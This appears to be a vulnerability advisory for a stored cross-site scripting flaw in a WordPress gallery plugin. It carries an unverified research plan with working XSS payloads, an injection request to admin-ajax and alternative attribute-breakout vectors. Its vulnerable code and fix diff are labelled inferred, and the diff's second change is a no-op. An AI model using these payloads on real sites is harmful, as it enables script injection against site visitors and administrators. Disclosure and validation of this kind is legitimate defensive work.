CVE-2026-5191

Tiled Gallery Carousel Without JetPack <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-image-title'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Tiled Gallery Carousel Without JetPack plugin for WordPress is vulnerable to stored cross-site scripting via the 'data-image-title' parameter in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1
PublishedJune 1, 2026
Last updatedJune 2, 2026
Research Plan
Unverified

This research plan outlines the methodology for validating a Stored Cross-Site Scripting (XSS) vulnerability in the **Tiled Gallery Carousel Without JetPack** plugin. --- ### 1. Vulnerability Summary * **ID:** CVE-2026-5191 * **Plugin:** Tiled Gallery Carousel Without JetPack (<= 3.1) * **Vu…

Show full research plan

This research plan outlines the methodology for validating a Stored Cross-Site Scripting (XSS) vulnerability in the Tiled Gallery Carousel Without JetPack plugin.


1. Vulnerability Summary

  • ID: CVE-2026-5191
  • Plugin: Tiled Gallery Carousel Without JetPack (<= 3.1)
  • Vulnerability Type: Stored XSS
  • Vulnerable Parameter: data-image-title
  • Privilege Level: Authenticated (Contributor+)
  • Cause: The plugin fails to sanitize or escape the title of an image before outputting it within the data-image-title attribute of the gallery’s HTML structure. When the carousel script initializes or a user interacts with the tiled gallery, this attribute is rendered or processed in a way that executes the injected script.

2. Attack Vector Analysis

  • Endpoint: WordPress Media Library / Post Editor.
  • Source of Payload: The "Title" field of an attachment (image).
  • Trigger Endpoint: Any public-facing page or post containing a [gallery] shortcode that includes the malicious image.
  • Authentication: Requires a user with at least Contributor permissions to modify image metadata or create posts with galleries.
  • Preconditions:
    1. The plugin "Tiled Gallery Carousel Without JetPack" must be active.
    2. An image must be uploaded, and its Title metadata must be set to the XSS payload.
    3. A post or page must be created/edited to include this image within a standard WordPress gallery.

3. Code Flow (Inferred)

  1. Metadata Storage: A user (Contributor+) updates an attachment's metadata via wp_ajax_save_attachment_compat or the Media Library. The "Title" is stored in the wp_posts table (column post_title for the attachment type).
  2. Gallery Rendering: When a post with [gallery] is viewed, the plugin hooks into the post_gallery filter or shortcode_atts_gallery.
  3. Attribute Generation: The plugin iterates through the attachment IDs. For each image, it retrieves the title using get_the_title($attachment_id).
  4. Sink: The plugin constructs the HTML for the tiled gallery. It likely uses a line similar to:
    $html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '">'; (Inferred)
  5. Lack of Escaping: Because $image_title is not passed through esc_attr(), an attacker can break out of the attribute using quotes (e.g., "><script>alert(1)</script>).

4. Nonce Acquisition Strategy

This vulnerability is triggered by viewing a rendered gallery. While the injection (saving the image title) involves WordPress core AJAX/Rest nonces, the exploitation (executing XSS) generally does not require a nonce as it is a stored payload.

However, if the plugin's carousel script requires a nonce for AJAX-based image loading, follow this strategy:

  1. Identify Shortcode: The plugin uses the standard [gallery] shortcode but modifies the output.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_content='[gallery ids="<IMAGE_ID>"]' --post_title='XSS Test'
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • Check for localized scripts using browser_eval:
      browser_eval("window.tiledGallerySettings?.nonce") (Inferred key).
      Note: Common keys for this plugin include tiledGallerySettings or tiled_carousel_params.

5. Exploitation Strategy

Step 1: Login and Upload

Log in as a Contributor. Upload a benign image to the Media Library to obtain an attachment_id.

Step 2: Inject Payload into Image Title

Use the http_request tool to update the attachment's title.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Body (URL-Encoded):
    action=save-attachment&id=<ATTACHMENT_ID>&changes[title]=<img src=x onerror=alert(document.domain)>&nonce=<FETCHED_NONCE>
    
  • Note: The nonce for save-attachment can be found in the Media Library source code (window._wpNonce).

Step 3: Create a Gallery Post

Create a post containing a gallery with the poisoned image.

  • Action: wp post create --post_type=post --post_status=author --post_content='[gallery ids="<ATTACHMENT_ID>"]' --post_title='Gallery XSS'
  • Note: As a contributor, the post status will be pending or draft, but you can still preview it.

Step 4: Trigger the XSS

Navigate to the post's permalink or the preview URL.

  • URL: http://localhost:8080/?p=<POST_ID>&preview=true
  • Interaction: The script should execute immediately upon the page rendering the tiled gallery HTML.

6. Test Data Setup

  1. User: Create a contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Image: Upload an image to the site.
  3. Plugin Config: Ensure "Tiled Galleries" is enabled in the plugin settings (usually found under Settings > Media or a dedicated plugin page).

7. Expected Results

  • The HTTP response for the post view will contain the raw payload:
    data-image-title="<img src=x onerror=alert(document.domain)>"
  • The browser will execute the JavaScript, resulting in an alert box showing the document domain.

8. Verification Steps

  1. Verify DB Content:
    wp db query "SELECT post_title FROM wp_posts WHERE id=<ATTACHMENT_ID>"
    Ensure it contains the payload.
  2. Inspect HTML Output:
    Use http_request to GET the post content and grep for the data-image-title attribute.
    http_request(url='http://localhost:8080/?p=<POST_ID>')
    Look for: data-image-title="[payload]"

9. Alternative Approaches

  • Caption Injection: If data-image-title is patched, check if the plugin uses data-image-description or captions for the carousel modal, which often share the same rendering logic.
  • Attribute Breakout: If simple tags are stripped, try breaking out of the attribute and adding an event handler:
    Payload: " onmouseover="alert(1)" data-ignore="
    This results in: <div data-image-title="" onmouseover="alert(1)" data-ignore="...">
Research Findings
Static analysis — not yet PoC-verified

Summary

The Tiled Gallery Carousel Without JetPack plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'data-image-title' attribute in versions up to 3.1. This vulnerability allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into image titles, which are then rendered without proper escaping when a gallery is viewed.

Vulnerable Code

// File: tiled-gallery.php (inferred location)
// Inside the gallery rendering loop or filter

$image_title = get_the_title($attachment_id);
$html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '"';
// ... continues to output other attributes like data-image-description

Security Fix

--- a/tiled-gallery.php
+++ b/tiled-gallery.php
@@ -10,7 +10,7 @@
 
- $image_title = get_the_title($attachment_id);
+ $image_title = esc_attr(get_the_title($attachment_id));
 
- $html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '"';
+ $html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '"';

Exploit Outline

The exploit is carried out by an authenticated user with at least Contributor permissions. The attacker first uploads an image or edits an existing attachment in the WordPress Media Library, setting the 'Title' metadata field to a JavaScript payload wrapped in attribute-breaking characters, such as: "><script>alert(document.domain)</script>. Next, the attacker creates a post or page containing the standard [gallery] shortcode and includes the ID of the poisoned image. When any user (including administrators) views the published post or a preview, the plugin generates the tiled gallery HTML. Because the image title is not escaped, the payload breaks out of the 'data-image-title' attribute and executes the script in the context of the user's browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.